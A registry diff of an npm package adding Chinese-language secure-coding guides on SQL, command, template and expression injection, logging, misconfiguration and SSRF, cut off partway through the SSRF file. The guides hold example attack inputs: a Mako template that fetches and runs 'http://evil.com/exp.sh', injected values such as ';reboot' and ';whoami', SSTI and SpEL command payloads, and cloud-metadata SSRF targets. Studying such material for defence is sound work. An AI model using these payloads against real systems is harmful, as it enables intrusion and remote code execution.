@blueking/bkui-knowledge 0.0.1-beta.1 → 0.0.1-beta.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +166 -58
- package/bin/bkui-knowledge.js +147 -82
- package/knowledge/manifest.json +38 -1
- package/knowledge/skills/.template/README.md +1 -1
- package/knowledge/skills/bk-security-redlines/SKILL.md +47 -0
- package/knowledge/skills/bk-security-redlines/references/auth-check.md +73 -0
- package/knowledge/skills/bk-security-redlines/references/data-encryption.md +78 -0
- package/knowledge/skills/bk-security-redlines/references/input-validation.md +96 -0
- package/knowledge/skills/bk-skill-creator/SKILL.md +37 -0
- package/knowledge/skills/bk-skill-creator/references/common-mistakes.md +43 -0
- package/knowledge/skills/bk-skill-creator/references/quick-start.md +42 -0
- package/knowledge/skills/bk-skill-creator/references/skill-checklist.md +93 -0
- package/knowledge/skills/bk-skill-creator/references/structure-guide.md +88 -0
- package/knowledge/skills/bk-skill-creator/references/writing-tips.md +153 -0
- package/knowledge/skills/bkui-quick-start/SKILL.md +52 -0
- package/knowledge/skills/bkui-quick-start/references/components-list.md +17 -0
- package/knowledge/skills/bkui-quick-start/references/skills-index.md +26 -0
- package/knowledge/skills/external/vue-skills/LICENSE +21 -0
- package/knowledge/skills/external/vue-skills/README.md +69 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/SKILL.md +42 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/codeactions-save-performance.md +79 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/data-attributes-config.md +74 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/deep-watch-numeric.md +102 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/define-model-update-event.md +79 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/duplicate-plugin-detection.md +102 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/fallthrough-attributes.md +63 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/hmr-vue-ssr.md +124 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/module-resolution-bundler.md +81 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/pinia-store-mocking.md +159 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/script-setup-jsdoc.md +85 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/strict-css-modules.md +68 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/unplugin-auto-import-conflicts.md +97 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/volar-3-breaking-changes.md +66 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-directive-comments.md +73 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-router-typed-params.md +81 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/vue-tsc-strict-templates.md +69 -0
- package/knowledge/skills/external/vue-skills/skills/vue-best-practices/rules/with-defaults-union-types.md +102 -0
- package/knowledge/skills/web-security-guide/SKILL.md +48 -0
- package/knowledge/skills/web-security-guide/references/access-control.md +123 -0
- package/knowledge/skills/web-security-guide/references/auth-session.md +99 -0
- package/knowledge/skills/web-security-guide/references/csrf.md +59 -0
- package/knowledge/skills/web-security-guide/references/data-exposure.md +108 -0
- package/knowledge/skills/web-security-guide/references/deserialization.md +59 -0
- package/knowledge/skills/web-security-guide/references/injection.md +357 -0
- package/knowledge/skills/web-security-guide/references/logging-monitoring.md +47 -0
- package/knowledge/skills/web-security-guide/references/security-config.md +73 -0
- package/knowledge/skills/web-security-guide/references/ssrf.md +55 -0
- package/knowledge/skills/web-security-guide/references/xss.md +134 -0
- package/package.json +3 -3
- package/server/mcp-core.js +48 -33
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
# 注入漏洞(SQL/命令/模板注入/表达式注入等)
|
|
2
|
+
|
|
3
|
+
## 1. SQL注入
|
|
4
|
+
|
|
5
|
+
### 1.1 漏洞原理
|
|
6
|
+
|
|
7
|
+
- SQL注入(SQL Injection) 是指应用程序在构造 SQL 查询语句时,将用户输入直接拼接进 SQL 字符串,攻击者可通过构造恶意输入改变 SQL 执行逻辑,达到绕过认证、窃取数据、篡改删除数据等目的。
|
|
8
|
+
- **本质是**:拼接 + 用户可控输入 + 无转义或参数绑定。
|
|
9
|
+
- 使用ORM并不代表绝对安全,参数绑定和类型校验是第一防线。
|
|
10
|
+
|
|
11
|
+
### 1.2 漏洞影响
|
|
12
|
+
|
|
13
|
+
- 绕过登录验证:' OR 1=1 --
|
|
14
|
+
- 敏感信息泄露:获取用户、密码、身份证、手机号等
|
|
15
|
+
- 数据篡改/删除:UPDATE user SET admin=1 WHERE id=1
|
|
16
|
+
- 远程命令执行(部分数据库):使用load_file()、xp_cmdshell等函数
|
|
17
|
+
- 持久化入侵入口:如植入 WebShell 的写入路径
|
|
18
|
+
|
|
19
|
+
### 1.3 典型业务场景
|
|
20
|
+
|
|
21
|
+
#### 1.3.1 Python项目中的高发点
|
|
22
|
+
|
|
23
|
+
##### 1.3.1.1 原生拼接SQL
|
|
24
|
+
|
|
25
|
+
- 使用 cursor.execute("select \* from user where id = %s" % uid)
|
|
26
|
+
- 漏洞示例代码如下:
|
|
27
|
+
|
|
28
|
+
```python
|
|
29
|
+
# Flask 中直接拼接用户输入
|
|
30
|
+
@app.route("/user")
|
|
31
|
+
def get_user():
|
|
32
|
+
username = request.args.get("username")
|
|
33
|
+
sql = f"SELECT * FROM users WHERE username = '{username}'"
|
|
34
|
+
return db.execute(sql) # 漏洞点:用户可控 + 拼接
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
##### 1.3.1.2 .extra() 接口
|
|
38
|
+
|
|
39
|
+
- CVE-2025-4517:Django ORM 的 SQL 扩展接口
|
|
40
|
+
- 漏洞示例代码如下:
|
|
41
|
+
|
|
42
|
+
```python
|
|
43
|
+
User.objects.extra(where=["username='%s'" % username])
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
##### 1.3.1.3 Q 对象错误使用
|
|
47
|
+
|
|
48
|
+
- 字段名或值可控时拼接错误
|
|
49
|
+
|
|
50
|
+
##### 1.3.1.4 ORM绕过模型约束
|
|
51
|
+
|
|
52
|
+
- .raw()、.execute()使用用户输入
|
|
53
|
+
|
|
54
|
+
##### 1.3.1.5 ORM内联字符串
|
|
55
|
+
|
|
56
|
+
- Model.objects.filter(name="admin' or 1=1")
|
|
57
|
+
|
|
58
|
+
### 1.4 漏洞修复方案
|
|
59
|
+
|
|
60
|
+
#### 1.4.1 【必须】参数化查询
|
|
61
|
+
|
|
62
|
+
- cursor.execute("SELECT \* FROM user WHERE id = %s", [uid])
|
|
63
|
+
|
|
64
|
+
#### 1.4.2 【建议】ORM模型约束
|
|
65
|
+
|
|
66
|
+
- 使用 Django ORM 正确方式:User.objects.get(id=uid)
|
|
67
|
+
- 使用 raw 时绑定参数: User.objects.raw("SELECT \* FROM user WHERE username = %s", [uname])
|
|
68
|
+
|
|
69
|
+
#### 1.4.3 【建议】白名单限制
|
|
70
|
+
|
|
71
|
+
- 字段名、排序字段等应做白名单限制
|
|
72
|
+
|
|
73
|
+
#### 1.4.4 【建议】类型强校验
|
|
74
|
+
|
|
75
|
+
- int(uid)、re.match(r"^\w+$", username)
|
|
76
|
+
|
|
77
|
+
#### 1.4.5 【必须】使用框架提供API
|
|
78
|
+
|
|
79
|
+
- ORM语法/QueryBuilder 避免 raw SQL
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## 2. 命令注入
|
|
84
|
+
|
|
85
|
+
### 2.1 漏洞原理
|
|
86
|
+
|
|
87
|
+
- 命令注入(Command Injection)是指应用程序调用系统命令时,攻击者通过构造恶意参数将系统命令注入执行环境中,最终导致远程命令执行(RCE)。
|
|
88
|
+
- **本质是**:将用户可控参数拼接进 shell 命令、subprocess、os.system 等接口,未做有效校验与隔离,造成攻击者代码被执行。
|
|
89
|
+
- 蓝鲸平台和DevOps场景中,任务下发、脚本执行等均是高风险点,务必提前防御
|
|
90
|
+
|
|
91
|
+
### 2.2 漏洞影响
|
|
92
|
+
|
|
93
|
+
- 远程命令执行(RCE):攻击者可执行任意系统命令,如:whoami、curl、bash -i
|
|
94
|
+
- 敏感数据泄露:读取文件 cat /etc/passwd
|
|
95
|
+
- 权限提升:植入提权脚本
|
|
96
|
+
- 横向移动/内网扫描:如利用 ping、curl 对腾讯内网探测
|
|
97
|
+
- 恶意植入:写入WebShell、启动反弹Shell、部署后门
|
|
98
|
+
|
|
99
|
+
### 2.3 典型业务场景
|
|
100
|
+
|
|
101
|
+
#### 2.3.1 Python项目中的高发点
|
|
102
|
+
|
|
103
|
+
##### 2.3.1.1 拼接命令
|
|
104
|
+
|
|
105
|
+
- 危险函数:os.system()、os.popen()
|
|
106
|
+
- URL参数传入命令拼接调用
|
|
107
|
+
- 漏洞示例代码如下:
|
|
108
|
+
|
|
109
|
+
```python
|
|
110
|
+
import os
|
|
111
|
+
user = request.args.get("user")
|
|
112
|
+
os.system("id " + user)
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
##### 2.3.1.2 subprocess shell=True
|
|
116
|
+
|
|
117
|
+
- 危险函数:subprocess.call()、check_output(),shell=True 极易出问题
|
|
118
|
+
- 漏洞示例代码如下:
|
|
119
|
+
|
|
120
|
+
```python
|
|
121
|
+
import subprocess
|
|
122
|
+
subprocess.call("ls " + filename, shell=True) # filename=;reboot
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
##### 2.3.1.3 调用Job快速命令接口
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
cmd=;whoami
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### 2.4 漏洞修复方案
|
|
132
|
+
|
|
133
|
+
#### 2.4.1 【必须】禁止使用 shell=True 拼接用户输入
|
|
134
|
+
|
|
135
|
+
```python
|
|
136
|
+
# Bad Code: 拼接传入
|
|
137
|
+
subprocess.call("ls " + filename, shell=True)
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
```python
|
|
141
|
+
# Good Code: 参数数组传入
|
|
142
|
+
subprocess.run(["ls", filename])
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
#### 2.4.2 【必须】白名单校验 + 参数限定
|
|
146
|
+
|
|
147
|
+
```python
|
|
148
|
+
def run_safe(cmd):
|
|
149
|
+
ALLOWED_CMDS = ['ls', 'whoami', 'uptime']
|
|
150
|
+
if cmd not in ALLOWED_CMDS:
|
|
151
|
+
abort(403)
|
|
152
|
+
subprocess.run([cmd])
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
#### 2.4.3 【必须】使用 shlex.quote() 防止注入
|
|
156
|
+
|
|
157
|
+
```python
|
|
158
|
+
import shlex
|
|
159
|
+
filename = request.args.get("file")
|
|
160
|
+
safe_filename = shlex.quote(filename)
|
|
161
|
+
os.system("cat " + safe_filename)
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
#### 2.4.4 【建议】不使用系统命令,可用内建函数替代
|
|
165
|
+
|
|
166
|
+
```python
|
|
167
|
+
# Bad Code:
|
|
168
|
+
os.system("ls /tmp")
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
```python
|
|
172
|
+
# Good Code:
|
|
173
|
+
import os
|
|
174
|
+
print(os.listdir("/tmp"))
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## 3. 模版注入
|
|
180
|
+
|
|
181
|
+
### 3.1 漏洞原理
|
|
182
|
+
|
|
183
|
+
- 模板注入漏洞(Template Injection) 是指应用程序将用户输入错误地传入模板引擎(如Jinja2、Mako)进行渲染,攻击者可通过构造特定语法,使模板执行未授权的表达式、访问敏感变量或执行命令,造成敏感数据泄露或远程命令执行。
|
|
184
|
+
- 用户可控的输入被传入 Template().render()、render_template_string()、tpl.render() 等模板接口
|
|
185
|
+
- 模板引擎具备强表达式能力(如支持 `__import__`、.system() 等调用)
|
|
186
|
+
|
|
187
|
+
### 3.2 漏洞影响
|
|
188
|
+
|
|
189
|
+
- 信息泄露:获取服务端变量、配置、密钥
|
|
190
|
+
- 任意代码执行:利用 `__import__`('os').system() 远程命令执行
|
|
191
|
+
- 横向渗透:读取JWT/Session/内部接口token进一步攻击
|
|
192
|
+
- SSRF:构造请求内部API获取敏感资源
|
|
193
|
+
- 持久化后门:植入恶意模板语句、替换配置文件
|
|
194
|
+
|
|
195
|
+
### 3.3 典型业务场景
|
|
196
|
+
|
|
197
|
+
#### 3.3.1 Python项目中的高发点
|
|
198
|
+
|
|
199
|
+
##### 3.3.1.1 Jinja2模版
|
|
200
|
+
|
|
201
|
+
- 有沙箱,默认未开启
|
|
202
|
+
- 支持任意Python对象
|
|
203
|
+
- 漏洞示例代码如下:
|
|
204
|
+
|
|
205
|
+
```python
|
|
206
|
+
from flask import Flask, request, render_template_string
|
|
207
|
+
app = Flask(__name__)
|
|
208
|
+
|
|
209
|
+
@app.route("/hello")
|
|
210
|
+
def hello():
|
|
211
|
+
name = request.args.get("name")
|
|
212
|
+
return render_template_string("Hello {{ " + name + " }}")
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
- 用户访问 /hello?name=`__import__`('os').popen('id').read() 将触发命令执行。
|
|
216
|
+
|
|
217
|
+
##### 3.3.1.2 Mako模版
|
|
218
|
+
|
|
219
|
+
- 无沙箱
|
|
220
|
+
- 可嵌入Python代码块
|
|
221
|
+
- 漏洞示例代码如下:
|
|
222
|
+
|
|
223
|
+
```python
|
|
224
|
+
from mako.template import Template
|
|
225
|
+
|
|
226
|
+
tpl_string = request.POST.get("tpl") # 用户可控
|
|
227
|
+
tpl = Template(tpl_string)
|
|
228
|
+
tpl.render(context)
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
- 攻击者可以构造恶意模版:
|
|
232
|
+
|
|
233
|
+
```shell
|
|
234
|
+
<% import os %>
|
|
235
|
+
<% os.system('curl http://evil.com/exp.sh | sh') %>
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
##### 3.3.1.3 Django - Template.render() 使用不当
|
|
239
|
+
|
|
240
|
+
- 有沙箱,默认开启
|
|
241
|
+
- 不可执行Python代码块
|
|
242
|
+
- 漏洞示例代码如下:
|
|
243
|
+
|
|
244
|
+
```python
|
|
245
|
+
from django.template import Template
|
|
246
|
+
t = Template(user_input) # 用户可控内容
|
|
247
|
+
t.render(Context({}))
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
- 攻击者可通过传入 {{ settings.SECRET_KEY }} 获取服务密钥
|
|
251
|
+
|
|
252
|
+
### 3.4 漏洞修复方案
|
|
253
|
+
|
|
254
|
+
#### 3.4.1 【必须】永远禁止用户输入作为模板内容渲染
|
|
255
|
+
|
|
256
|
+
```python
|
|
257
|
+
tpl = Template("固定模板") # 模板由系统定义
|
|
258
|
+
tpl.render({"username": safe_input})
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
#### 3.4.2 【必须】启用 Jinja2 沙箱环境(SandboxedEnvironment)
|
|
262
|
+
|
|
263
|
+
```python
|
|
264
|
+
from jinja2.sandbox import SandboxedEnvironment
|
|
265
|
+
env = SandboxedEnvironment()
|
|
266
|
+
tpl = env.from_string("Welcome {{ username }}")
|
|
267
|
+
tpl.render({"username": clean(user_input)})
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
#### 3.4.3 【必须】Mako模板禁用 Python 表达式块
|
|
271
|
+
|
|
272
|
+
- 禁止 <%, <%python>, <%! 等标签使用
|
|
273
|
+
- 建议使用字符串格式替代,例如 {{ variable }} 格式映射到预定义变量集合
|
|
274
|
+
|
|
275
|
+
#### 3.4.4 【必须】白名单替换机制 + 参数校验
|
|
276
|
+
|
|
277
|
+
- 用户只能配置预定义变量,如 {{ hostname }}, {{ alarm_name }}
|
|
278
|
+
- 所有变量替换前进行正则匹配、长度控制、字符黑名单过滤
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## 4. 表达式注入
|
|
283
|
+
|
|
284
|
+
### 4.1 漏洞原理
|
|
285
|
+
|
|
286
|
+
- 表达式注入是指应用使用 动态表达式语言/引擎(如 Spring EL、OGNL、SpEL、EL、MVEL 等)对外部输入进行拼接或执行时,攻击者通过构造恶意表达式,实现任意方法调用或绕过业务逻辑。
|
|
287
|
+
- 典型原因是 用户输入被直接传递给表达式解析器,且未做过滤/上下文隔离。
|
|
288
|
+
|
|
289
|
+
### 4.2 漏洞影响
|
|
290
|
+
|
|
291
|
+
- 任意代码执行:攻击者可调用系统类(如 java.lang.Runtime)执行系统命令。
|
|
292
|
+
- 认证绕过:通过伪造条件表达式,绕过鉴权逻辑(如 #{1==1})。
|
|
293
|
+
- 数据泄露:直接读取系统属性、配置文件或数据库内容。
|
|
294
|
+
- 持久化攻击链:结合 SSRF、文件上传、反序列化,形成复合攻击链。
|
|
295
|
+
|
|
296
|
+
### 4.3 典型业务场景
|
|
297
|
+
|
|
298
|
+
#### 4.3.1 Java 项目中的高发点
|
|
299
|
+
|
|
300
|
+
##### 4.3.1.1 Spring EL(SpEL)
|
|
301
|
+
|
|
302
|
+
- 在 SpringMVC 或 Spring Boot 中,使用 @Value、ExpressionParser 或模板渲染时,未限制表达式来源。
|
|
303
|
+
|
|
304
|
+
```java
|
|
305
|
+
// Bad Code:
|
|
306
|
+
ExpressionParser parser = new SpelExpressionParser();
|
|
307
|
+
String expr = request.getParameter("expr"); // 用户可控
|
|
308
|
+
Object value = parser.parseExpression(expr).getValue();
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
- 攻击者输入:${T(java.lang.Runtime).getRuntime().exec('id')}
|
|
312
|
+
|
|
313
|
+
##### 4.3.1.2 OGNL(Struts2 典型)
|
|
314
|
+
|
|
315
|
+
- Struts2 的 EL 解析器曾爆发多次 RCE 漏洞(S2-045、S2-057 等),攻击者通过构造 #context['xwork.MethodAccessor.denyMethodExecution']=false 绕过限制。
|
|
316
|
+
|
|
317
|
+
##### 4.3.1.3 JSP EL / Thymeleaf
|
|
318
|
+
|
|
319
|
+
- JSP 的 ${...} 表达式或 Thymeleaf 模板引擎默认会解析动态对象,若变量可控则可能引入漏洞。
|
|
320
|
+
|
|
321
|
+
#### 4.3.2 其他场景
|
|
322
|
+
|
|
323
|
+
- MVEL 表达式:部分规则引擎(Drools)使用 MVEL,若表达式从外部输入直接注入则可执行恶意方法。
|
|
324
|
+
- 业务 DSL:企业内部二次封装的"动态计算规则"往往调用底层表达式引擎,缺乏白名单与隔离。
|
|
325
|
+
|
|
326
|
+
### 4.4 漏洞修复方案
|
|
327
|
+
|
|
328
|
+
#### 4.4.1 【必须】禁止用户输入直接拼接表达式
|
|
329
|
+
|
|
330
|
+
- 外部输入不可作为表达式直接传递给解析器。
|
|
331
|
+
|
|
332
|
+
```java
|
|
333
|
+
// Good Code:
|
|
334
|
+
String expr = "price * taxRate"; // 来自预定义规则,不是用户输入
|
|
335
|
+
parser.parseExpression(expr).getValue(context);
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
#### 4.4.2 【必须】启用安全模式/沙箱
|
|
339
|
+
|
|
340
|
+
- 对表达式引擎启用沙箱,禁止访问敏感类(Runtime, System 等)。
|
|
341
|
+
- Spring EL 可通过 StandardEvaluationContext#setPropertyAccessors 定义白名单。
|
|
342
|
+
|
|
343
|
+
#### 4.4.3 【必须】白名单机制
|
|
344
|
+
|
|
345
|
+
- 仅允许有限的表达式语法或变量(如数学运算、简单函数),拒绝访问任意类/方法。
|
|
346
|
+
|
|
347
|
+
```java
|
|
348
|
+
// Good Code: (伪代码)
|
|
349
|
+
if (!expr.matches("^[0-9+\\-*/() ]+$")) {
|
|
350
|
+
throw new SecurityException("非法表达式");
|
|
351
|
+
}
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
#### 4.4.4 【建议】替代方案
|
|
355
|
+
|
|
356
|
+
- 业务规则尽量使用 DSL/枚举/条件语句,而非开放的通用表达式解析。
|
|
357
|
+
- 对必须动态化的场景,应进行"编译前静态扫描 + 运行时沙箱"双重防护。
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
# 日志与监控不足(安全审计缺失)
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 日志与监控不足(Inadequate Logging & Monitoring)是指应用系统在设计和实现时,未对 关键安全事件(如登录失败、越权尝试、敏感操作)进行日志记录,或记录不完整,导致无法在攻击发生后快速检测、响应和溯源。
|
|
6
|
+
- 部分系统虽然记录日志,但 日志中包含敏感信息(密码、密钥、Token、身份证号),导致二次泄漏风险。
|
|
7
|
+
- 如果缺少 实时监控与告警,即使日志记录了攻击行为,也可能因为无人关注而错失防御时机。
|
|
8
|
+
|
|
9
|
+
## 2. 漏洞影响
|
|
10
|
+
|
|
11
|
+
- 攻击无法发现:SQL 注入、XSS、暴力破解等攻击尝试未被记录,导致安全事件长时间潜伏。
|
|
12
|
+
- 取证困难:事后调查时缺乏完整日志,无法还原攻击路径。
|
|
13
|
+
- 敏感数据泄漏:日志中记录明文密码、Token、身份证号等,进一步放大安全风险。
|
|
14
|
+
- 合规风险:未满足合规要求(如 GDPR、等保 2.0、ISO 27001)中的安全审计与追踪要求。
|
|
15
|
+
|
|
16
|
+
## 3. 典型业务场景
|
|
17
|
+
|
|
18
|
+
### 3.1 登录失败/越权访问无日志记录
|
|
19
|
+
|
|
20
|
+
- 攻击者多次尝试弱口令,但系统未记录失败日志,防御人员无法发现暴力破解行为。
|
|
21
|
+
|
|
22
|
+
### 3.2 日志中包含敏感数据(密码/Token/身份证号)
|
|
23
|
+
|
|
24
|
+
- 开发者在调试时直接输出 user.password 或 Authorization Header,导致日志被攻击者下载后造成二次泄漏。
|
|
25
|
+
|
|
26
|
+
### 3.3 未对异常行为做告警(大量请求、暴力破解)
|
|
27
|
+
|
|
28
|
+
- API 被异常高频访问,但缺少速率监控与告警,导致业务被拖垮后才发现攻击。
|
|
29
|
+
|
|
30
|
+
## 4. 漏洞修复方案
|
|
31
|
+
|
|
32
|
+
### 4.1 【必须】所有安全相关事件必须记录日志
|
|
33
|
+
|
|
34
|
+
- 包括:登录失败、权限拒绝、关键配置修改、敏感接口调用。
|
|
35
|
+
- 日志内容至少包含:时间、用户标识、请求来源 IP、操作类型、结果。
|
|
36
|
+
|
|
37
|
+
### 4.2 【必须】日志必须脱敏处理,禁止敏感数据落盘
|
|
38
|
+
|
|
39
|
+
- 明文密码、私钥、身份证号、银行卡号等必须屏蔽或打码(如手机号仅保留后四位)。
|
|
40
|
+
|
|
41
|
+
### 4.3 【建议】建立实时告警系统
|
|
42
|
+
|
|
43
|
+
- 结合 监控平台(如 ELK、Prometheus、Grafana、Splunk)实时检测异常请求和安全事件。
|
|
44
|
+
|
|
45
|
+
### 4.4 【建议】定期对日志审计,检测潜在攻击链
|
|
46
|
+
|
|
47
|
+
- 对接 审计中心或蓝鲸监控 系统,实现 安全自动化响应。
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
# 安全配置错误
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- 安全配置错误(Security Misconfiguration)是指系统、框架、库、应用或云资源在部署和运行过程中,未遵循最小化和安全默认原则,导致攻击者可直接利用弱配置或敏感信息泄露进行攻击。
|
|
6
|
+
|
|
7
|
+
- 常见问题:
|
|
8
|
+
- 开启 debug/verbose 模式,输出内部堆栈和环境变量。
|
|
9
|
+
- 服务未加鉴权或使用默认口令。
|
|
10
|
+
- 云存储桶、数据库等对公网开放,无访问控制。
|
|
11
|
+
- 中间件未关闭目录遍历、未加固 HTTP 头或使用弱 TLS 配置。
|
|
12
|
+
|
|
13
|
+
- 本质是:缺乏"安全缺省值"与上线前的基线检查。
|
|
14
|
+
|
|
15
|
+
## 2. 漏洞影响
|
|
16
|
+
|
|
17
|
+
- 敏感信息泄露:环境变量、堆栈、配置文件、源代码被外部访问。
|
|
18
|
+
- 弱口令攻击:攻击者利用默认口令或弱口令直接接管系统。
|
|
19
|
+
- 数据泄漏:云存储(S3、OSS、COS)、数据库(Mongo、ES、Redis)未加 ACL,造成海量数据泄露。
|
|
20
|
+
- 系统被控:调试/管理接口未关闭,攻击者可远程执行命令或操作系统。
|
|
21
|
+
- 大规模攻击面:一旦暴露在公网,常见的漏洞扫描器、自动化攻击工具即可批量利用。
|
|
22
|
+
|
|
23
|
+
## 3. 典型业务场景
|
|
24
|
+
|
|
25
|
+
### 3.1 生产环境启用 debug/verbose 模式
|
|
26
|
+
|
|
27
|
+
- Flask、Django、Spring Boot 开启 debug,暴露堆栈、环境变量、数据库连接串。
|
|
28
|
+
|
|
29
|
+
```python
|
|
30
|
+
# Bad Code:
|
|
31
|
+
# Flask app.py
|
|
32
|
+
app.run(debug=True) # 开启 debug,生产中高危
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
```python
|
|
36
|
+
# Good Code:
|
|
37
|
+
app.run(debug=False) # 生产必须关闭
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### 3.2 未关闭目录遍历/目录索引
|
|
41
|
+
|
|
42
|
+
- Nginx/Apache 默认允许目录索引,攻击者可列出敏感文件,直接显示源码/配置文件。
|
|
43
|
+
|
|
44
|
+
### 3.3 默认口令/弱口令未修改
|
|
45
|
+
|
|
46
|
+
- ES、Redis、Jenkins、Tomcat 等中间件使用默认口令 admin/admin、root/123456,被爆破成功。
|
|
47
|
+
|
|
48
|
+
### 3.4 云存储桶未加 ACL,公开访问
|
|
49
|
+
|
|
50
|
+
- AWS S3、阿里云 OSS、腾讯云 COS 桶配置为 public-read,攻击者可直接访问所有存储文件。
|
|
51
|
+
|
|
52
|
+
## 4. 漏洞修复方案
|
|
53
|
+
|
|
54
|
+
### 4.1 【必须】上线前关闭调试、去除测试接口
|
|
55
|
+
|
|
56
|
+
- 生产环境必须禁用 debug/verbose 模式。
|
|
57
|
+
- 确认无 /test、/swagger-ui/、/actuator/ 等未鉴权接口暴露。
|
|
58
|
+
|
|
59
|
+
### 4.2 【必须】所有服务组件必须修改默认口令
|
|
60
|
+
|
|
61
|
+
- 上线前必须修改默认口令,并配置复杂度策略。
|
|
62
|
+
- 配置身份鉴别(LDAP/OAuth2/Token)。
|
|
63
|
+
|
|
64
|
+
### 4.3 【必须】云存储、ES/Redis/Mongo 等禁止公网暴露
|
|
65
|
+
|
|
66
|
+
- 服务仅限内网访问,必须配置防火墙/安全组。
|
|
67
|
+
- 云存储桶 ACL 配置为 私有(private),仅业务账号可访问。
|
|
68
|
+
|
|
69
|
+
### 4.4 【建议】建立基线配置扫描与合规检查
|
|
70
|
+
|
|
71
|
+
- 引入配置扫描工具(如 Lynis、OpenSCAP、Kube-Bench)。
|
|
72
|
+
- 自动化检测弱口令、未加密通信、错误 ACL。
|
|
73
|
+
- 建立合规基线,保证配置随版本升级不回退。
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
# 服务端请求伪造(SSRF)
|
|
2
|
+
|
|
3
|
+
## 1. 漏洞原理
|
|
4
|
+
|
|
5
|
+
- SSRF(Server-Side Request Forgery)指攻击者通过精心构造的请求参数,诱使服务端代表其发起请求。
|
|
6
|
+
- 由于服务端通常处于内网环境,攻击者可借此访问 内部系统/云服务元数据/Loopback 接口 等不对外暴露的敏感资源。
|
|
7
|
+
- 本质:服务端未对用户可控的 URL/目标地址进行限制,导致攻击者可以利用服务端作为代理发起恶意请求。
|
|
8
|
+
|
|
9
|
+
## 2. 漏洞影响
|
|
10
|
+
|
|
11
|
+
- 内网探测:枚举内网端口、存活主机。
|
|
12
|
+
- 敏感信息泄露:访问云环境的元数据接口(如 AWS http://169.254.169.254/ 获取 AK/SK)。
|
|
13
|
+
- 攻击内网应用:绕过防火墙访问仅内网可访问的管理端口(如 Redis、Elasticsearch、K8s API)。
|
|
14
|
+
- 进一步攻击链:结合 Gopher 协议,可构造 Redis/SMTP/MySQL 协议 payload,最终实现 RCE 或数据篡改。
|
|
15
|
+
- 拒绝服务(DoS):请求大文件/死循环响应,耗尽服务器资源。
|
|
16
|
+
|
|
17
|
+
## 3. 典型业务场景
|
|
18
|
+
|
|
19
|
+
### 3.1 文件上传接口支持"通过 URL 抓取远程文件"
|
|
20
|
+
|
|
21
|
+
- 攻击者传入 http://127.0.0.1:6379/,可直接与内网 Redis 通信。
|
|
22
|
+
|
|
23
|
+
### 3.2 Webhook/回调接口,允许用户自定义回调 URL
|
|
24
|
+
|
|
25
|
+
- 攻击者设置回调地址为 http://internal-service.local/admin,实现内网横向探测。
|
|
26
|
+
|
|
27
|
+
### 3.3 富文本编辑器的"网络图片抓取"功能
|
|
28
|
+
|
|
29
|
+
- 用户提交的图片 URL 被服务端下载,可能访问内网敏感地址。
|
|
30
|
+
|
|
31
|
+
### 3.4 报表/爬虫接口支持用户输入任意外部 URL
|
|
32
|
+
|
|
33
|
+
- 通过 SSRF,攻击者可利用报表功能请求内部资产管理页面或云元数据接口,窃取凭证。
|
|
34
|
+
|
|
35
|
+
## 4. 漏洞修复方案
|
|
36
|
+
|
|
37
|
+
### 4.1 【必须】对目标 URL 做白名单校验,仅允许业务可信域名
|
|
38
|
+
|
|
39
|
+
- 例如仅允许 cdn.qq.com、static.tencent.com 等业务域。
|
|
40
|
+
|
|
41
|
+
### 4.2 【必须】禁止访问内网/环回/链路本地地址
|
|
42
|
+
|
|
43
|
+
